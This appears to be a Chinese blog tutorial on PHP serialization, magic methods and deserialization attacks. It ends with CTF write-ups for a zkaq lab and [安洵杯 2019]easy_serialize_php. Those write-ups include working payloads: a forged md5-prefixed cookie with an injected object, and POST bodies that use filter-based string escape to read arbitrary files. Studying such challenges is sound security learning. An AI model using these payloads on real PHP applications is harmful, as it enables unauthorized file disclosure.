序列化 与 反序列化
序列化: 把对象转换为字符序列的过程
反序列化: 把字符序列恢复为对象的过程
serialize()
unserialize()
php序列化
1 2 3 4 5 6 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
1 2 3 4 5 6 7 <?php show_source (__FILE__ );$sites = array ('Dog' , 'Cat' , 'Zard' );$serialized_data = serialize ($sites );echo $serialized_data ;?> a:3 :{i:0 ;s:3 :"Dog" ;i:1 ;s:3 :"Cat" ;i:2 ;s:4 :"Zard" ;}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php show_source (__FILE__ );class User { public $name = '' ; public $age = 0 ; public function Show_info ( ) { echo $this ->name .' is ' . $this ->age .'years old.<br/>' ; } } $s = new User ();$s ->name = 'Mamor' ;$s ->age = 21 ;$s ->Show_info ();print_r (serialize ($s ));echo '<br/>' ;print_r (unserialize ('O:4:"User":2:{s:4:"name";s:5:"Mamor";s:3:"age";i:21;}' ));?> Mamor is 21 years old.O:4 :"User" :2 :{s:4 :"name" ;s:5 :"Mamor" ;s:3 :"age" ;i:21 ;} User Object ( [name] => Mamor [age] => 21 )
a:3:{i:0;s:3:"Dog";i:1;s:3:"Cat";i:2;s:4:"Zard";}
对象类型:长度:{长度:类型:值,长度:类型:值,长度:类型:值}
O:4:"User":2:{s:4:"name";s:5:"Mamor";s:3:"age";i:21;}
对象类型:长度:类名:类中变量个数:{类型:长度:值,类型:长度:值,类型:长度:值}
### 魔术方法
PHP之十六个魔术方法详解
__construct() 当一个对象创建时被调用 __destruct()
当一个对象销毁时被调用 __toString()
当反序列化后的对象被输出的时候(转化为字符串的时候)被调用 __sleep()
在对象在被序列化之前被调用 __wakeup 在序列化之后立即被调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php show_source (__FILE__ );class test { public $a = 'aaaaa<br/>' ; public $b = 'bbbbb<br/>' ; public function aaa ( ) { echo $this ->a; } public function __construct ( ) { echo ' __construct<br/>' ; } public function __destruct ( ) { echo ' __destruct()<br/>' ; } public function __wakeup ( ) { echo '__wakeup()<br/>' ; } public function __sleep ( ) { echo '__sleep()<br/>' ; } } echo '<br/>' ; $obj = new test (); $serialize = serialize ($obj ); echo 'serialize: ' .$serialize . '<br/>' ; $unserialize = unserialize ($serialize ); $obj ->aaa (); ?> 输出: __construct __sleep ()serialize: N; aaaaa __destruct ()
zkaq靶场题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 flag in ./flag.php <?php Class readme{ public function __toString ( ) { return highlight_file ('Readme.txt' , true ).highlight_file ($this ->source, true ); } } if (isset ($_GET ['source' ])){ $s = new readme (); $s ->source = __FILE__ ; echo $s ; exit ; } if (isset ($_COOKIE ['todos' ])){ $c = $_COOKIE ['todos' ]; $h = substr ($c , 0 , 32 ); $m = substr ($c , 32 ); if (md5 ($m ) === $h ){ $todos = unserialize ($m ); } } if (isset ($_POST ['text' ])){ $todo = $_POST ['text' ]; $todos [] = $todo ; $m = serialize ($todos ); $h = md5 ($m ); setcookie ('todos' , $h .$m ); header ('Location: ' .$_SERVER ['REQUEST_URI' ]); exit ; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source" ><h2>Check Code</h2></a> <ul> <?php foreach ($todos as $todo ):?> <li><?= $todo ?> </li> <?php endforeach ;?> </ul> <form method="post" href="." > <textarea name="text" ></textarea> <input type="submit" value="store" > </form>
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php show_source (__FILE__ );Class readme{ public function __toString ( ) {return highlight_file ('readme.txt' ,true ).highlight_file ($this ->source);} } if (isset ($_GET ['source' ])){$s = new readme ();$s ->source = 'flag.php' ;$s = [$s ];echo md5 (serialize ($s )).serialize ($s );} ?>
得到e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
先进行一次url编码然后使用cookie传参
todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
最终得到zkz{UNs_what_what?}
[安洵杯
2019]easy_serialize_php1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
如果 $function = phpinfo 会得到phpinfo页面,得到了flag文件名为
d0g3_f1ag.php ,想办法去读取flag文件去得到flag
后面的wp看了下师傅们的wp,使用的字符逃逸
1 2 3 4 5 6 7 8 9 10 11 12 <?php show_source (__FILE__ );$str1 ='a:2:{i:0;s:5:"Mamor";i:1;s:5:"aaaaa";}' ;var_dump (unserialize ($str1 ));echo '<br/>' ;echo '含有垃圾参数的:' ;echo '<br/>' ;$str2 ='a:2:{i:0;s:5:"Mamor";i:1;s:5:"aaaaa";}aaa垃圾参数w(゚Д゚)w' ;var_dump (unserialize ($str2 ));array (2 ) { [0 ]=> string (5 ) "Mamor" [1 ]=> string (5 ) "aaaaa" }含有垃圾参数的: array (2 ) { [0 ]=> string (5 ) "Mamor" [1 ]=> string (5 ) "aaaaa" }
可以看到就算是有垃圾参数,在进行反序列化的时候也不会出现,不会影响反序列化正常运行
1 2 3 4 5 6 7 <? phpif ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;
清空$_SESSION变量值,并重新赋值
extract($_POST);
对post传参进行了变量覆盖
后续可以只看这些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } ... $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
在filter()函数中过滤掉了php,flag,php5,php4,fl1g
file_get_contents()函数可以将整个文件读入一个字符串,
让base64编码的值为flag的所在文件名 ,
即d0g3_f1ag.php-->base64编码后为
ZDBnM19mMWFnLnBocA==
(20位) 反序列化后为
s:3:"img",s:20,"ZDBnM19mMWFnLnBocA=="
看了下Leena_c9a7师傅的wp,当后台如果存在过滤的话
$_SESSION数组的键值会发生变化,既然无法去控制img的值,就可以利用这道题目本身的过滤器,
post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
是预期输出的序列化字符
经过filter过滤玩之后 flagflag会替换为空
a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
变为
a:2:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
s:8:"";s:51:"";s:3:"aaa"
这样这里的s:8的值为";s:51:"
a:2:{s:8:"";s:51:" ";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这样两对键值为 ";s:51:"
aaa
和
img
ZDBnM19mMWFnLnBocA==
}后面的内容
";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
均会当作垃圾参数忽略掉
这样 file_get_contents()读取d0g3_f1ag.php
的内容
payload
GET f=show_image
POST
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看源码
1 2 3 4 5 <?php $flag = 'flag in /d0g3_fllllllag' ;?>
base64(d0g3_fllllllag) = L2QwZzNfZmxsbGxsbGFn
payload
GET f=show_image
POST
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flagflag{7d55f960-c93d-4db0-8524-f51d073ce4db}
Reference
https://xz.aliyun.com/t/6753
https://segmentfault.com/a/1190000007250604
https://www.jianshu.com/p/8e8117f9fd0e
https://www.cnblogs.com/h3zh1/p/12732336.html